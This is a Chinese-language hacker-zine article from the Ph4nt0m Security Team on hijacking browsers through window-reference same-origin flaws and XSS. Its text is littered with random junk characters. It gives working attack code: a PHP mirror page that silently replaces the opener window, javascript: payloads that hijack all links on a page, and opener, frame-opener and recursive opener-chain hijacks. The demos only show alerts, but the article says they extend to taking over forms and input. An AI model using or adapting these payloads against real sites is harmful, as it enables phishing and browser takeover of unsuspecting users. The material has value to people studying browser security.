==Ph4nt0m Security Team==
- n/ Z8 G, _: R8 N+ i; W
1 T8 q) l3 p- X. z! B" M( S Issue 0x03, Phile #0x05 of 0x07
6 E3 h" X, j* } ; G9 s3 }8 k8 u( |0 G6 ~
& H$ w+ ~: M9 b- g( ^
|=---------------------------------------------------------------------------=|
2 P: B$ I1 J& b: x; j|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|1 D2 e w# Y) t' W
|=---------------------------------------------------------------------------=|
& m- z6 U7 `0 Z) Z8 g|=---------------------------------------------------------------------------=|
5 M! c' Q' ^0 T- M9 L6 m0 }|=------------------------=[ By rayh4c ]=---------------------------=|* Q5 N! u, \2 V9 a
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|2 K" X7 R! k& U% S
|=---------------------------------------------------------------------------=|
) ^; G; F; N+ ]9 d. r" w* X" O0 [ T3 U4 l! x2 Y1 s4 |
# _% ~$ E6 L. X# X
[目录]
# `3 U, D$ P: q" S6 B
. K; O& F0 o+ `1 {4 I8 C$ s1. 前言
- x% C. ~/ x. B1 D: d2. 同源策略简叙' ?, U2 p) Y; c& ?6 R% m
3. 理解window对象的同源策略' E1 b; R' f% \ C8 x8 R. M* Y
4. 窗口引用功能中的同源策略漏洞
; N8 X1 h7 N/ Z+ a' d/ B( b R 4.1 父窗口引用子窗口的同源策略问题+ L. ^9 _8 ?- S; t3 } _2 O) A
4.2 子窗口引用父窗口的同源策略问题; p1 W7 ]0 P2 P3 x$ x
5. 利用窗口引用漏洞劫持浏览器7 T- }9 ]: |0 {6 R( e5 F) B
6. 利用XSS漏洞劫持浏览器) f1 h6 q% @8 J5 }8 g- {# ?+ Z' h: |
6.1 正向跨窗口劫持
% x( w5 K# m: v2 k6 b' Z% }$ E! ~: r 6.2 反向跨窗口劫持
2 |) z, f+ P# K2 i, S 6.3 极度危险的跨框架窗口引用劫持, Y- i4 O) |/ j6 U. h! V! F2 ^
6.4 极度危险的正反向跨窗口递归劫持
7 y. x8 V7 [) W: T 6.5 完全控制浏览器" ?! o3 ~7 L: K+ f6 g
7. 后记
z- q4 @. @) C; _% s8. 参考% t( t/ v+ G7 b
4 f9 ~; {' R, r9 N! y8 V
( b0 E' ~/ I! V$ c, v( p y R一、前言
2 E% I* q$ ~. Y
3 ?+ Z$ b* d, s8 [ 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
. o4 Z. L$ w: V8 Z l& y9 U! t友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
0 ?1 k6 L4 E6 v; Q) Q劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被2 n( c( h, u: q* S0 u
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
' K4 j6 I$ f& Q! N" D3 h2 `8 k
2 n' `1 |. w" T4 {
2 u# m ?' [0 H! e" J二、同源策略简叙+ p6 P; c% m/ S3 e) j$ V
' u6 v! Q. G3 [/ X. ^) \, G
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
7 B4 n4 R8 q( f7 [) P) L* B( P: K3 A从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
! Q9 F/ l' z% \2 Y2 ?曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木5 z; L- k( }/ }* v
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
3 X9 F" K2 S) Y1 [6 J漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
8 M6 K# n0 d% ~& Y! Y: q! ^
" V3 z7 Y8 g7 H+ i& w- p0 Q3 v8 Y
( d! }" {9 K. @4 V$ `三、理解window对象的同源策略
& T' a. ]+ H- i4 o0 |
/ d+ K8 w2 t( C; j" H* p& I. E 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
" j( p% {4 }, y+ v& [象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
' N) w$ A) o4 b. k, W+ V# b( s# f8 c" r$ |) Z
--code-------------------------------------------------------------------------
1 h4 s* M, g# K<script language="javascript">9 S! m) y1 ?& d1 J* \1 ^
for(p in window) document.write(p+"<br>");8 H1 T# j% G! h7 K/ M
</script>
. ^% I5 s) [4 _' X-------------------------------------------------------------------------------: J8 p: Z9 P( L4 a
* j$ H: u% `" P. f
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
: x2 r( X* h' s4 G" P6 M( t法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
J" q0 K$ j/ q5 _6 N0 M这些属性和方法就必须遵循同源策略。
4 S1 x3 l" K2 q% S8 c, i2 M# o2 a f$ x7 k5 d
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那0 a, P1 b9 P. m r' B
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须0 |$ G) d$ o8 R+ K: n
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
9 A& D2 J2 c9 S4 W- z z- Z: C8 \个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的' m) N4 O% j( y4 v3 r: W/ f' K: F# r
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location. j: q1 k0 T+ G s$ F) F
属性并没有被拒绝访问。1 U* ]6 K1 R5 y- ~$ z9 F: U% b4 p
( P# s0 P/ D$ z: Q% A+ u--demo.html--------------------------------------------------------------------
$ n+ y0 ~* H2 T, R7 _<script language="javascript"> / @9 I6 F/ C# H3 q1 H5 q: x
function allPrpos(obj) {
3 @8 d# F7 H* \0 c var props = "<table><tr><td>名称</td><td>值</td>"; 7 O) T- t6 W2 `: A4 F3 C
for(var p in obj){ ; S5 p2 t# N3 f/ r# f! x
if(typeof(obj[p])=="function"){
: S6 ?/ D' C' X/ m obj[p]();
8 Q% V& b- R6 L% S6 y5 I }else{
! O4 C+ {9 p3 w% T try 2 K: z9 D' ^4 o3 ]" a
{
]- T) x- v4 I* x1 _! \3 X9 A props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
J9 {* N0 R P: q- b; ` }
' |9 m7 A+ z: Z% p8 u catch (ex) + x4 g- B5 L' w
{ 5 s% N( ` }4 L0 w
& D- q" I* X) H. n props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
: s/ k G+ I* A5 O. F" d8 X } ) t9 s( z( z. q
. e5 n* |0 |' H3 @% e
} " y+ H& }( b1 y' ~; x/ V, u; H2 w! h
} R7 {4 q# v: _% ]2 r
5 q, X1 \: H5 }0 F2 k: t: k7 B2 {
document.write(props+"</table>"); ' G* h2 W: z! x3 c. T4 T
}
. r. ]! E- g" e8 Y
8 u" t* O, U; k3 @; n& f# Rfunction createWin() {
8 S7 _( F+ g- D/ s' [, @/ d& s newWin = window.open ("http://www.google.com"); % F/ g2 `7 b& Y8 B2 f" ]
setTimeout(function(){allPrpos(newWin)},2000); ( ~/ B+ S3 R) g; O6 X
} ( r, q' m+ n1 @2 G& _7 K
( W* K8 }1 G9 I/ M+ ^</script> $ K6 {9 G. l8 y
' L& H8 u! X+ Y4 z. f+ f
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
. x$ P/ Z8 {! c2 X% X. I-------------------------------------------------------------------------------' U/ u- x' X( j. t) _- W3 o4 Q9 e" Y
$ A! `$ I+ D) ]4 a& x; s2 s7 @' Y9 {0 O3 v& h
四、窗口引用功能中的同源策略漏洞
! c) u0 W; C7 V' l3 v) e
: p4 K6 k) Z* X5 h" R% |4.1 父窗口引用子窗口的同源策略问题
* ^% c% [& P! G& |' A3 I' q! W
5 w# @* |2 [$ P5 @5 ^ 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,- q. w4 p( w1 w
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
; G" m% z6 S) y% P/ X, ]浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进4 S& E5 c) B% h* n
行测试,会发现父窗口可以控制非同源子窗口location属性值。& W/ @: H6 f5 n9 A- V. k+ I/ B& d( L
5 d- m. b6 C+ u
--vul1.html--------------------------------------------------------------------
8 f6 d7 k, K2 v<script language="javascript">
# d6 Q6 H9 U* ~' {, z4 Hfunction createWin() { 8 l4 W/ M3 M. {& {4 i
newWin = window.open ("http://www.google.com");
. z \0 A9 ?9 } setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
X* F1 g1 H O5 C) B# ]" x}
3 w: V# `5 B- t$ D, i: O' ^" U0 c</script>
6 v& B% h: t* l0 V: k8 n2 ]
+ {( D5 W0 L5 {2 C& z( @) {* O<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 e- j( m- o2 n; h. m, g: M-------------------------------------------------------------------------------* C" t Z( ]. L0 C, `& d' t
: m: @' n* F% R/ |5 |5 X; l, D3 h4 a
4.2 子窗口引用父窗口的同源策略问题0 u8 i- j! | ~/ ?! i
, x& Z$ d* {; p 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使9 R8 S5 A" }8 h. d1 U$ a9 N0 |
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
8 s9 v0 i/ Y' E& C& t6 {* m5 k& x可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定/ N) A& S( N2 m' \& p0 V: z
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
( ?* l" L; K5 E' Y& E$ S+ b% O2 E( b" g
--code-------------------------------------------------------------------------
( G$ e8 z+ T1 u) X* _
& s e7 z7 F7 ? mjavascript:window.opener.location = "http://www.80sec.com";void(0);7 E& H% f# S% O" O' j( d k8 p! X
2 U8 L" ]+ C" }4 ]/ d3 S) L-------------------------------------------------------------------------------( J( M0 g) Q) F$ y9 V; A, P
; I* \! ~: q# P; C- H1 r7 L# T. |3 |5 t ^0 ?: ?( t& d0 d- n
五、利用窗口引用漏洞劫持浏览器! }$ p: g" n" h% v1 _
9 [' u8 B+ Q$ ], I6 F2 @
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
2 g! ^& {6 X9 D# f- m窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
+ ~- a h% n7 w& _) m么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。1 |4 ~* L, Z b, B; y
# }4 C1 d, T$ u1 c& Z# ^/ c
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产3 x3 p. `4 g5 C3 ]& t( R
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或0 J2 w/ w# h9 O) {
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接( U- b5 R' T( e4 r
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下& D& h3 M4 b& ?* D( o$ g& u6 B
会产生什么可怕的后果。
/ z% A5 z7 {, k5 P, {
7 I. b4 z' e& F% u 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我3 }8 \9 U. D, [1 J
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
! \% q% }0 w/ H这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时4 h3 N9 y" o1 u! J0 v) [
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
: I5 u, z' u8 F+ z# I/ s1 v以做更多的事情,所有的一切仅仅是因为点击了一个链接。
& L C" Z9 R, u( |. p, R+ u- x1 i" v$ k
--hjk_ref.php------------------------------------------------------------------
1 ?; d* a0 ]1 X<?php
6 q9 _6 ] T( P# jif (array_key_exists("HTTP_REFERER", $_SERVER)) {1 U# G' @) ] d( V
$Url_Mirror = $_SERVER["HTTP_REFERER"];
3 F7 y. C2 q- A7 m* N+ Y' S9 K}
$ z. A# ]' k1 Nif(isset ($_GET['ref'])) {; f2 U2 G9 h2 G: M& Y% P5 \
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
N) ^( a5 F. d) N# I}
. }4 d- e @4 b" c7 h?>
' h' U0 q5 V/ a& m# e, f$ w. K# }+ z% Z7 \
<script language="javascript">
8 d' S( G; x" |4 N/ D! b) x7 {setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); ( S5 l4 y5 j& @$ B0 h" f* u* E
</script>1 S' T" B# P' `6 C
-------------------------------------------------------------------------------5 [1 I5 s- ]- |$ V7 k: e
* y" p/ W# {4 G; f# h( q! i 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
/ `3 o/ f4 c% X% b* n) N% B7 z9 G+ {. ]7 d. ?: H# @4 F; [
/ M% g" E: w \
六、利用XSS漏洞劫持浏览器
/ U2 {, _# R- B
' k3 l6 W( z! g0 @# m 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为8 X# |; U* \- u8 ~8 c7 D m" v+ h
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后. x4 {3 @ k: \6 U7 f3 i$ Y
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
% J" A s8 H" m8 m7 O, ^讨论跨站师的终极技巧:
' Y* Q3 l) @* K% g+ h
- D8 i! E) E" }- q$ ?8 F" X7 G
' o' u- c* x5 q- K7 W7 w( n8 S6.1 正向跨窗口劫持+ ^' h- H, s; }- B' i D F7 Q
0 I: M1 z0 L3 B! E
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
* ?. S9 O- c. T主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链) ^) { \( h8 t# E7 ^8 w
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
$ _: Z' k5 F( l9 n4 A框脚本。
" Q( Z: a" h3 e6 H& f2 M" Y) S8 Q( E/ J+ V: g
--hijack_open.js---------------------------------------------------------------
# n8 {* N/ L, v4 s: K) E' `
) J& v: d5 m2 S$ m8 R3 Q: T6 Zjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);' K$ P |7 O- S# ]( h$ @; F
+ ?) E% e O, D' p1 U. e
-------------------------------------------------------------------------------: v9 z2 `9 m. O k
* O% d5 t: G1 n& G' a
; Y* \- x. Q4 [/ W4 s
6.2 反向跨窗口劫持" e* i1 U9 B6 x6 q
4 |2 U$ s/ Z) F2 R/ S1 ]7 C
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
5 U5 C1 |. d1 U" [2 M4 c z. ^1 c$ o码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话( }5 R% B6 _/ H
框脚本。
2 @8 N8 D, M$ B9 D6 z* H% ]! p* v7 [
--hijack_opener.js-------------------------------------------------------------
! c; L: ]/ _9 R3 L
% z9 i5 @. f1 q$ @! M. hjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);$ O/ I7 ~* o- Q2 t% B& i* e3 P' w) \
. r5 v4 R8 O0 Y6 b; m3 G8 G0 e
-------------------------------------------------------------------------------
% ?! ]; G% Z* R& d% u- R5 P% J9 u* \9 J/ t) S y
6 I1 O( X$ B5 \& @9 T" j6.3 极度危险的跨框架窗口引用劫持
# l; d7 _& Q' Y K* I; l
% s3 D$ b t: ]4 i 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
" Y7 V5 ?& I8 i5 }6 L可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
+ T* |( l4 q2 T2 ?3 \7 _适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
4 g0 `, n, H- Z _) ^非持久型的XSS,如下:7 e" k6 k8 u8 r0 k8 `6 y
/ P) [1 T$ ^5 ^" @! `' }<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>4 z L6 w6 L6 k9 B. c- K4 N
) _* f# _$ F. @0 ^7 N
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口) T0 J. d* U) }: v! P
注入脚本。: m( h1 r$ d) C0 m% ^; D
5 C8 Q4 O$ V" B' u2 k
--hijack_frame_opener.js-------------------------------------------------------
/ j$ d4 P" G. e. M( G& w) t<script>, U4 O/ {3 G! A; w3 S+ U0 D
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
9 h9 k; a( p. h9 S. ?</script>
W- Z2 M$ y5 `-------------------------------------------------------------------------------6 e- R" Z6 C. ]1 K- J
; v! s. N) n4 f0 \
6 C: k' B8 u! |: a- t; i6.4 极度危险的正反向跨窗口递归劫持* S- W8 T: _5 | L
6 ~4 [( A9 T x0 p$ ` E3 e luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
% q9 D. g& g' [6 B, a8 i的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
- C" C4 h% ^+ m异常处理规避之间跨域页面的访问异常,代码如下:
. y# ]* Y4 @$ X7 O
; G! ]+ ?! a; f' ^! _+ D--code-------------------------------------------------------------------------7 Q- y7 O" u6 V! E* \
3 m; Q( y# e4 I1 O
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);4 q6 E/ `) \' F: j3 G
, [: P5 l4 w7 Z4 ]! ]. [$ O
-------------------------------------------------------------------------------
S& E4 j, d* u8 |+ F/ p1 T4 g3 j5 X; a* j2 ]: R
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
, f' t7 O. y1 k/ Q以劫持B域之前的A域页面,从而实现“隔空打击”。
, b0 o5 z9 r& S/ f" s; e% r
8 B1 k! u8 u+ q' q3 J 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面% b' _/ A; H1 V! q
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
* c' \9 U& @9 y6 t: i3 |. _
6 ]- i! y& Y d. h 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
7 ?0 S+ j, A* n3 I+ N8 K9 U5 b/ ?# p8 }3 r* {4 |6 S3 d5 h7 ~% A
" ~* F% H- L. [/ M7 _6.5 完全控制浏览器
7 @. ~% }& V @# y( U4 t* G& U+ f
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
) T( Q+ d# _% R9 ^& z是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS% M1 T1 z/ ?+ [4 q- x7 H
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失5 P2 t$ x4 {$ |2 b7 ?4 g
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
- s8 z7 @; g3 j0 a# Y+ G列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站7 L8 v' I5 {2 B* G6 \
师的终极目标 - 完全控制浏览器。
6 j2 r9 g# t: @; k
6 L; s* D. @& Q1 U8 j a8 t
, j, y. o7 b$ k' i8 ^2 q- O# C" @/ D七、后记! D" m; R8 b! n
9 H. M" n5 }7 V6 y- l g v
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全9 F% Y' g% i3 E$ d
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予7 q4 G" j, f3 u6 L! D
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。6 O Y( V5 m0 k$ v9 I% N! Y G
8 z4 P7 z% L- u3 N& Q
/ U9 e- a$ }+ k八、参考4 h: T. W4 ~/ i7 m
0 I; A+ Y' S* B/ Z
1. http://en.wikipedia.org/wiki/Same_origin_policy
* G% E* o" U { Y! F0 }2. http://code.google.com/p/browser ... licy_for_DOM_access
4 A% }3 `' V6 n( w2 z" s3. http://www.w3.org/TR/Window/
3 F% e1 z% {* X5 L4. http://www.80sec.com/release/browser-hijacking.txt- g5 O G& [$ d
5. http://www.80sec.com/all-browser-security-alert.html( @5 h& N3 H; Y9 |
6. http://www.80sec.com/ms08-058-attacks-google.html
# V/ `; H0 c" E4 h
3 w1 I( p. x" v g5 V" k) |! ?-EOF- |